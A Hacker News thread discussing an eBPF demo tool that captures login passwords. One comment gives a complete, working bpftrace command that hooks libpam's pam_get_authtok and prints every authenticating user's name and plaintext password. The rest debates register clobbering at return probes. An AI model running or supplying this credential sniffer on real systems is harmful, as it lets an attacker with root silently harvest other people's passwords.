Hacker News new | ask | show | jobs
by evgpbfhnr 1450 days ago
Am I the only one for whom it doesn't work? the reason being that using PARMx registers on uretprobe has no guarantee that the registers still hold the argument values, as these registers can be clobbered at will (and are for me).

The solution for this is usually to track both probes and remember arguments, here's what it'd look like with bpftrace -- that does the same as his program, I've just hardcoded the offset for username in pam_handle struct but the repo hardcoded the struct (it's also possible to include a .h in bpftrace to stay up to date)

  bpftrace -e 'BEGIN { printf("pid,comm,user,pass\n"); }
    uprobe:/lib/x86_64-linux-gnu/libpam.so.0:pam_get_authtok {
      @user[tid] = arg0;
      @pass[tid] = arg2;
    }
    uretprobe:/lib/x86_64-linux-gnu/libpam.so.0:pam_get_authtok /@user[tid]/ {
      printf("%d,%s,%s,%s\n", tid, comm,
             str(*((uint64*)@user[tid]+6)),
             str(uptr(*@pass[tid])));
      // just illustrating arg2 (rdx on x86_64) changed:
      printf("%lx, %lx\n", reg("dx"), @pass[tid]);
      delete(@user[tid]);
      delete(@pass[tid]);
    }'
1 comments

I made a little fix, if you want to retry
Thanks! This happens to work for me, but the root of the problem is the same: there's no guarantee that the handle will still be in that register when the function returns; my compiler just happens to not be clobbering that register.

Anyway, this is probably good enough as a bpf demonstration and it definitely has made its impact looking at other comments here. That's probably all that matters.